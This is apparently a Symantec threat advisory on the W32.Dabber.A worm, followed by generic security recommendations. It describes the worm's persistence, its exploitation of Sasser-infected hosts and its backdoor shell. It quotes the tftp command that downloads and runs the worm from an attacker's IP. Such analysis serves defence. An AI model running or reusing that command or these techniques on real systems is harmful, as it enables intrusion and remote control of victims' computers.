W32.Dabber.A

1. Creates the mutex sas4dab so that only one copy of the worm will execute.
   
2. Attempts to drop a copy of itself to each of the following locations:
   
   %System%\package.exe
   
   C:\Documents and Settings\All Users\Start Menu\Programs\Startup\package.exe
   
   %Windir%\All Users\Main menu\Programs\StartUp\package.exe
   

   ---

   Note: %System% is a variable. The XXthreattypeXX locates the System folder and copies itself to that location. By default, this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).

   ---

3. Adds the value:
   
   "sassfix"="%System%\package.exe"
   
   to the registry key:
   
   HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
   
   The worm then attempts to delete a number of values from the registry that are associated with other malware:
   
   It deletes the values:
   
   Video
   Microsoft Update
   
   from the registry key:
   
   HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
   
   It deletes the values:
   Drvddll.exe
   Drvddll_exe
   drvsys
   drvsys.exe
   ssgrate
   ssgrate.exe
   lsasss
   lsasss.exe
   avserve2.exe
   avvserrve32
   avserve
   Taskmon
   Gremlin
   
   from the registry keys:
   
   HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
   
   HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
   
   It deletes the values:
   Window
   Video Process
   TempCom
   SkynetRevenge
   MapiDrv
   BagleAV
   System Updater Service
   soundcontrl
   WinMsrv32
   drvddll.exe
   navapsrc.exe
   skynetave.exe
   Generic Host Service
   Windows Drive Compatibility
   windows
   
   from the registry keys:
   
   HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
   
   HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
   RunServices
   
   HKEY_CURRENT_USER\.DEFAULT\SOFTWARE\Microsoft\Windows\
   CurrentVersion\Run
   
   It deletes the value:
   
   (Default)
   
   from the registry key:
   
   HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\
   InProcServer32\
   
4. The worm begins to scan sequential IP addresses in random subnets for systems infected with W32.Sasser.Worm variants on port 5554. When an infected system located, the worm exploits the vulnerability in the FTP server component of W32.Sasser.Worm or a variant. It binds to a command shell to port 8967. Then uses the shell to make the infected computer download and execute the worm body via FTP. It issues the following command:
   
   tftp -i [attacker's IP] GET hello.all package.exe & package.exe & exit
   
5. The worm opens a backdoor on infected systems. It listens on port 9898. This gives the attacker a system level remote shell on the infected system. It allows the attacker to access information about additional hosts infected.

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

• Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.
• Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
• Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.
• Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available.
• Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared.
• Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack.
• If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
• Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
• Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files.
• Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media.
• Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.
• If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to "Hidden" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to "Unauthorized", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources.
• For further information on the terms used in this document, please refer to the Security Response glossary.